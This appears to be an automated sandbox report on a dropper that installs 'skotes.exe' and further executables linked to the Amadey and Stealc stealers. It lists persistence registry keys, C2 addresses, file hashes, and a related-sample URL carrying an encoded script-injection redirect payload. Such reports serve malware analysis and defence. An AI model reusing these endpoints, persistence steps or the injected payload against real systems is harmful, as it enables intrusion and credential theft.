Excluded IPs from analysis (whitelisted): 192.229.221.95, 199.232.210.172, 20.190.159.75, 20.190.159.0, 20.190.159.4, 40.126.31.69, 20.190.159.23, 40.126.31.67, 40.126.31.71, 40.126.31.73, 93.184.221.240, 142.250.181.238, 64.233.167.84, 172.217.16.195, 34.104.35.123, 172.217.18.10, 142.250.185.202, 142.250.185.234, 142.250.185.170, 216.58.212.170, 216.58.206.42, 142.250.186.170, 142.250.184.234, 142.250.184.202, 142.250.186.42, 172.217.16.138, 142.250.185.138, 142.250.185.106, 142.250.186.106, 172.217.16.202, 142.250.181.234, 172.217.23.99, 142.250.186.35, 142.250.186.74, 142.250.186.138, 142.250.74.202, 172.217.18.110, 108.177.15.84, 172.217.18.3, 142.250.185.195, 216.58.206.74, 142.250.185.74
Excluded domains from analysis (whitelisted): client.wns.windows.com, prdv4a.aadg.msidentity.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, fonts.gstatic.com, self.events.data.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, clientservices.googleapis.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, login.live.com, update.googleapis.com, clients.l.google.com, www.gstatic.com, www.tm.lg.prod.aadmsa.trafficmanager.net, optimizationguide-pa.googleapis.com
Execution Graph export aborted for target 7d57c960f4.exe, PID 2516 because there are no executed function
Execution Graph export aborted for target 7d57c960f4.exe, PID 3496 because there are no executed function
Execution Graph export aborted for target 7d57c960f4.exe, PID 6204 because there are no executed function
Execution Graph export aborted for target file.exe, PID 3440 because it is empty
Execution Graph export aborted for target skotes.exe, PID 5292 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:26:09	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
03:27:12	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run c0968d0b44.exe C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe
03:27:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 7d57c960f4.exe C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe
03:27:29	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run c0968d0b44.exe C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe
03:27:37	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 7d57c960f4.exe C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe
03:28:51	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run da8dfab19c.exe C:\Users\user\AppData\Local\Temp\1000332001\da8dfab19c.exe
03:28:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 634af23a05.exe C:\Users\user\AppData\Local\Temp\1000333001\634af23a05.exe
03:29:07	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run da8dfab19c.exe C:\Users\user\AppData\Local\Temp\1000332001\da8dfab19c.exe
03:29:15	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 634af23a05.exe C:\Users\user\AppData\Local\Temp\1000333001\634af23a05.exe
21:27:01	API Interceptor	32447691x Sleep call for process: skotes.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	dXDaTWHYvF.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	PwjUL1lEEC.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	4qIl08vrFY.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	SecuriteInfo.com.Win32.Evo-gen.16378.4678.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	8y4qT1eVpi.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	nJohIBtNm5.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, RedLine	Browse	185.215.113.37/e2b1563c6670f193.php
	PwjUL1lEEC.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www3.l.google.com	file.exe	Get hash	malicious	Credential Flusher	Browse	142.250.186.78
	file.exe	Get hash	malicious	Credential Flusher	Browse	142.250.186.78
	file.exe	Get hash	malicious	Credential Flusher	Browse	142.250.185.78
	file.exe	Get hash	malicious	Credential Flusher	Browse	142.250.186.174
	PwjUL1lEEC.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	142.251.40.110
	voicemai____Now_AUD__autoresponse(9.htm	Get hash	malicious	Phisher	Browse	216.58.212.174
	file.exe	Get hash	malicious	Credential Flusher	Browse	142.250.184.238
	file.exe	Get hash	malicious	Credential Flusher	Browse	142.250.185.78
	file.exe	Get hash	malicious	Credential Flusher	Browse	142.250.184.238
	file.exe	Get hash	malicious	Unknown	Browse	142.250.185.238
play.google.com	file.exe	Get hash	malicious	Credential Flusher	Browse	142.250.186.174
	file.exe	Get hash	malicious	Credential Flusher	Browse	216.58.206.78
	http://www.sunsetsafaris.com.au//home	Get hash	malicious	Unknown	Browse	216.58.212.142
	file.exe	Get hash	malicious	Credential Flusher	Browse	142.250.185.142
	file.exe	Get hash	malicious	Credential Flusher	Browse	142.250.185.174
	PwjUL1lEEC.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	142.250.186.46
	voicemai____Now_AUD__autoresponse(9.htm	Get hash	malicious	Phisher	Browse	172.217.23.110
	file.exe	Get hash	malicious	Credential Flusher	Browse	172.217.16.142
	http://allstatelock.com	Get hash	malicious	Unknown	Browse	142.250.185.206
	file.exe	Get hash	malicious	Credential Flusher	Browse	216.58.206.46

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	nJohIBtNm5.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, RedLine	Browse	185.215.113.103
	zKxfw9WFdt.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	dXDaTWHYvF.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	PwjUL1lEEC.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	nJohIBtNm5.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, RedLine	Browse	185.215.113.103
	zKxfw9WFdt.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	dXDaTWHYvF.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	PwjUL1lEEC.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	nJohIBtNm5.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, RedLine	Browse	185.215.113.103
	zKxfw9WFdt.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	dXDaTWHYvF.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	PwjUL1lEEC.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	Credential Flusher	Browse	23.1.237.91
	https://akbb.kampanyakrediiislemleri.com/	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://73214625721684432150.duckdns.org/home.php	Get hash	malicious	Unknown	Browse	23.1.237.91
	http://fpnc.vnvrff.com/	Get hash	malicious	Unknown	Browse	23.1.237.91
	http://allstatelock.com	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://iranmealworm.com/m/?c3Y9bzM2NV8xX25vbSZyYW5kPVpWSXliVFk9JnVpZD1VU0VSMDUwOTIwMjRVMzkwOTA1MzE=N0123N	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	23.1.237.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	23.1.237.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	Globalfoundries.com_Report_46279.pdf	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 20.12.23.50
	file.exe	Get hash	malicious	Credential Flusher	Browse	184.28.90.27 20.12.23.50
	file.exe	Get hash	malicious	Credential Flusher	Browse	184.28.90.27 20.12.23.50
	http://www.sunsetsafaris.com.au//home	Get hash	malicious	Unknown	Browse	184.28.90.27 20.12.23.50
	https://akbb.kampanyakrediiislemleri.com/	Get hash	malicious	Unknown	Browse	184.28.90.27 20.12.23.50
	http://0f46b0f46b.briandrakebooks.com/	Get hash	malicious	Unknown	Browse	184.28.90.27 20.12.23.50
	https://73214625721684432150.duckdns.org/home.php	Get hash	malicious	Unknown	Browse	184.28.90.27 20.12.23.50
	http://fpnc.vnvrff.com/	Get hash	malicious	Unknown	Browse	184.28.90.27 20.12.23.50
	file.exe	Get hash	malicious	Credential Flusher	Browse	184.28.90.27 20.12.23.50
	https://www.florenceco.org/offices/elected/solicitor/docket.php?area=florence%22%3E%3C%69%6D%67%20%73%72%63%3D%22%69%6D%61%67%65%2E%6A%70%67%22%20%6F%6E%65%72%72%6F%72%3D%22%76%61%72%20%75%72%6C%31%20%3D%20%5B%27%68%74%74%27%2C%27%70%3A%2F%2F%67%27%2C%27%6F%27%2C%27%6F%67%27%2C%27%6C%65%2E%63%27%2C%27%6F%6D%27%2C%27%2F%27%2C%27%23%27%2C%27%66%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%20%76%61%72%20%75%72%6C%32%20%3D%20%5B%27%68%74%74%27%2C%27%70%3A%2F%2F%67%27%2C%27%6F%27%2C%27%6F%67%27%2C%27%6C%65%2E%63%27%2C%27%6F%6D%27%2C%27%2F%27%2C%27%23%27%2C%27%66%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%0D%0A%76%61%72%20%75%72%6C%20%3D%20%5B%27%68%74%27%2C%27%74%70%27%2C%27%73%3A%2F%2F%76%27%2C%27%61%75%6C%27%2C%27%74%64%6F%27%2C%27%72%65%73%2E%63%27%2C%27%6F%6D%2F%30%2F%27%2C%27%30%2F%30%2F%27%2C%27%34%33%66%66%27%2C%27%35%63%62%35%27%2C%27%63%36%27%2C%27%32%65%27%2C%27%32%66%38%64%31%27%2C%27%31%63%61%33%38%38%27%2C%27%65%34%37%35%62%36%27%2C%27%63%34%36%2F14/392-16513/1254-3178-27524%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%0D%0A%20%75%72%6C%20%3D%20%75%72%6C%2E%72%65%70%6C%61%63%65%28%2F%2C%2F%67%2C%20%27%27%29%3B%20%76%61%72%20%77%69%6E%20%3D%20%77%69%6E%64%6F%77%2E%6F%70%65%6E%28%75%72%6C%2C%20%27%5F%73%65%6C%66%27%29%3B%20%77%69%6E%2E%6F%70%65%6E%65%72%20%3D%20%6E%75%6C%6C%3B%20%77%69%6E%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%75%72%6C%29%3B%22%3E	Get hash	malicious	Phisher	Browse	184.28.90.27 20.12.23.50
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	Unknown	Browse	40.113.110.67 40.115.3.253 40.113.103.199
	MZs41xJfcH.exe	Get hash	malicious	PureLog Stealer, Quasar, zgRAT	Browse	40.113.110.67 40.115.3.253 40.113.103.199
	http://www.sunsetsafaris.com.au//home	Get hash	malicious	Unknown	Browse	40.113.110.67 40.115.3.253 40.113.103.199
	N5mRSBWm8P.exe	Get hash	malicious	Quasar	Browse	40.113.110.67 40.115.3.253 40.113.103.199
	http://fpnc.vnvrff.com/	Get hash	malicious	Unknown	Browse	40.113.110.67 40.115.3.253 40.113.103.199
	tcU5sAPsAc.exe	Get hash	malicious	RedLine	Browse	40.113.110.67 40.115.3.253 40.113.103.199
	file.exe	Get hash	malicious	Credential Flusher	Browse	40.113.110.67 40.115.3.253 40.113.103.199
	https://ca.docusign.net/Signing/EmailStart.aspx?a=ef028e9a-a228-415f-bf68-f187538d8e48&etti=24&acct=5c5d7412-9cb5-4dbf-8a78-52c1b2a30ce5&er=96c6e932-7bdc-4ccf-8eb1-c3c23bac63dc	Get hash	malicious	Unknown	Browse	40.113.110.67 40.115.3.253 40.113.103.199
	okLjQnQIef.exe	Get hash	malicious	DCRat	Browse	40.113.110.67 40.115.3.253 40.113.103.199
	file.exe	Get hash	malicious	Credential Flusher	Browse	40.113.110.67 40.115.3.253 40.113.103.199
a0e9f5d64349fb13191bc781f81f42e1	5.dll	Get hash	malicious	Unknown	Browse	20.189.173.12
	v173TV3V11.exe	Get hash	malicious	SmokeLoader	Browse	20.189.173.12
	0k3ibTiMjy.exe	Get hash	malicious	SmokeLoader	Browse	20.189.173.12
	qg5Ddf4an9.exe	Get hash	malicious	SmokeLoader	Browse	20.189.173.12
	kUiqbpzmbo.exe	Get hash	malicious	XWorm	Browse	20.189.173.12
	C5Nbn7P6GJ.exe	Get hash	malicious	XRed, XWorm	Browse	20.189.173.12
	Setup.exe	Get hash	malicious	LummaC, MicroClip	Browse	20.189.173.12
	66fb252fe232b_Patksl.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	20.189.173.12
	aZPm0tHPTX.exe	Get hash	malicious	SmokeLoader	Browse	20.189.173.12
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	20.189.173.12

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1821184
Entropy (8bit):	7.9474795859335305
Encrypted:	false
SSDEEP:	49152:FyjyDUkCe1uiGY9rqfrwgzLoZ5G/XTlpvbvu8y:IjS+e/f4wiLoSblBNy
MD5:	9230158D2D15F5F7140B53912347A845
SHA1:	01D78CBA09ECA8D00AD54454EF652B24321BB00D
SHA-256:	403A726FD6B597B2646FB61F309D5E59F8B33BE15B697B6CAC53686580E9FCE1
SHA-512:	6F497D06667A772F1D46E98FF7BC0635F7C30505474C74C137541083DBE7D3EB13849176814892EBA0CE3A1B6DC4CDD11CDC31A9E74D4EE32DCB61F2A0CA19EE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......h...........@...........................i...........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... .p)...%......:..............@...rdaizazf.p...PO..h...<..............@...hwyhwwjx......h.....................@....taggant.0....h.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919040
Entropy (8bit):	6.5832946750344785
Encrypted:	false
SSDEEP:	12288:TqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgalTm:TqDEvCTbMWu7rQYlBQcBiT6rprG8aRm
MD5:	45C675B6790E21EACDB1F3478FCADFDA
SHA1:	1E5955DD76B7B92C39114D6A45A99CF245EA1450
SHA-256:	A82303F0E40F9287C668597CC0250F6B1CFDAB506282608510BDD49EC49F400C
SHA-512:	125EAC9AED6678E0F61B78E26B9E73126005602A3F358DE5C448E68659E5D739E26A00E78463E7EE6980131DECCAB5423F062525F5CCBCFEF063EE5391C94D68
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 11%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L......f.........."..........V......w.............@..........................`............@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919040
Entropy (8bit):	6.5832946750344785
Encrypted:	false
SSDEEP:	12288:TqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgalTm:TqDEvCTbMWu7rQYlBQcBiT6rprG8aRm
MD5:	45C675B6790E21EACDB1F3478FCADFDA
SHA1:	1E5955DD76B7B92C39114D6A45A99CF245EA1450
SHA-256:	A82303F0E40F9287C668597CC0250F6B1CFDAB506282608510BDD49EC49F400C
SHA-512:	125EAC9AED6678E0F61B78E26B9E73126005602A3F358DE5C448E68659E5D739E26A00E78463E7EE6980131DECCAB5423F062525F5CCBCFEF063EE5391C94D68
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 11%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L......f.........."..........V......w.............@..........................`............@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000332001\da8dfab19c.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919040
Entropy (8bit):	6.5832946750344785
Encrypted:	false
SSDEEP:	12288:TqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgalTm:TqDEvCTbMWu7rQYlBQcBiT6rprG8aRm
MD5:	45C675B6790E21EACDB1F3478FCADFDA
SHA1:	1E5955DD76B7B92C39114D6A45A99CF245EA1450
SHA-256:	A82303F0E40F9287C668597CC0250F6B1CFDAB506282608510BDD49EC49F400C
SHA-512:	125EAC9AED6678E0F61B78E26B9E73126005602A3F358DE5C448E68659E5D739E26A00E78463E7EE6980131DECCAB5423F062525F5CCBCFEF063EE5391C94D68
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 11%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L......f.........."..........V......w.............@..........................`............@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000333001\634af23a05.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1821184
Entropy (8bit):	7.9474795859335305
Encrypted:	false
SSDEEP:	49152:FyjyDUkCe1uiGY9rqfrwgzLoZ5G/XTlpvbvu8y:IjS+e/f4wiLoSblBNy
MD5:	9230158D2D15F5F7140B53912347A845
SHA1:	01D78CBA09ECA8D00AD54454EF652B24321BB00D
SHA-256:	403A726FD6B597B2646FB61F309D5E59F8B33BE15B697B6CAC53686580E9FCE1
SHA-512:	6F497D06667A772F1D46E98FF7BC0635F7C30505474C74C137541083DBE7D3EB13849176814892EBA0CE3A1B6DC4CDD11CDC31A9E74D4EE32DCB61F2A0CA19EE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......h...........@...........................i...........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... .p)...%......:..............@...rdaizazf.p...PO..h...<..............@...hwyhwwjx......h.....................@....taggant.0....h.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1821184
Entropy (8bit):	7.9474795859335305
Encrypted:	false
SSDEEP:	49152:FyjyDUkCe1uiGY9rqfrwgzLoZ5G/XTlpvbvu8y:IjS+e/f4wiLoSblBNy
MD5:	9230158D2D15F5F7140B53912347A845
SHA1:	01D78CBA09ECA8D00AD54454EF652B24321BB00D
SHA-256:	403A726FD6B597B2646FB61F309D5E59F8B33BE15B697B6CAC53686580E9FCE1
SHA-512:	6F497D06667A772F1D46E98FF7BC0635F7C30505474C74C137541083DBE7D3EB13849176814892EBA0CE3A1B6DC4CDD11CDC31A9E74D4EE32DCB61F2A0CA19EE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......h...........@...........................i...........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... .p)...%......:..............@...rdaizazf.p...PO..h...<..............@...hwyhwwjx......h.....................@....taggant.0....h.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1888256
Entropy (8bit):	7.949934930928149
Encrypted:	false
SSDEEP:	49152:wT+87BgP3cJilbppzcYIhR88Uz5T4ft2qSUYGmSV:M+QO3pTGHJO5T4ftx6SV
MD5:	32533C2B9CC9015B81DB22713868EC75
SHA1:	C87D45E06163F8D7F8B7A31F62B9F38008609B3F
SHA-256:	1A6FC3B2BDA9A9615EC0F20492BD75257B41581E9CCEF8D2C04F26642D985632
SHA-512:	9344248432571A4405F1AA970DE84A01C8564A1E1A718F2F8567BD01171E44E8D970E60FD80D87B5F4DF9818A41282CD499025C49234C438A0A74CADFB4F7366
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. K...........@..........................PK...........@.................................W...k........................... .K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...idnhyhrx.....P1.....................@...ditjojwi......K.....................@....taggant.0... K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 3 00:27:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9677643174743706
Encrypted:	false
SSDEEP:	48:8sdWTSiiHGeidAKZdA19ehwiZUklqeh3y+3:8RLOYy
MD5:	AE542F07ADD32EB43385F8A48E6265D6
SHA1:	6A06AD9354C0FE62754C4CBB2398A12352D3C4B7
SHA-256:	625AABE5F5160DD19F1D0C3386C88451504FCF0452CBC108802794BDD553358E
SHA-512:	A59DB1127B9C575375741D667E7566482865F4769C9F5776F48D6C62950B7EFFC42B1F170404006304762A146D709A21271229F571BC192A63E1F340AA2EB5DE
Malicious:	false
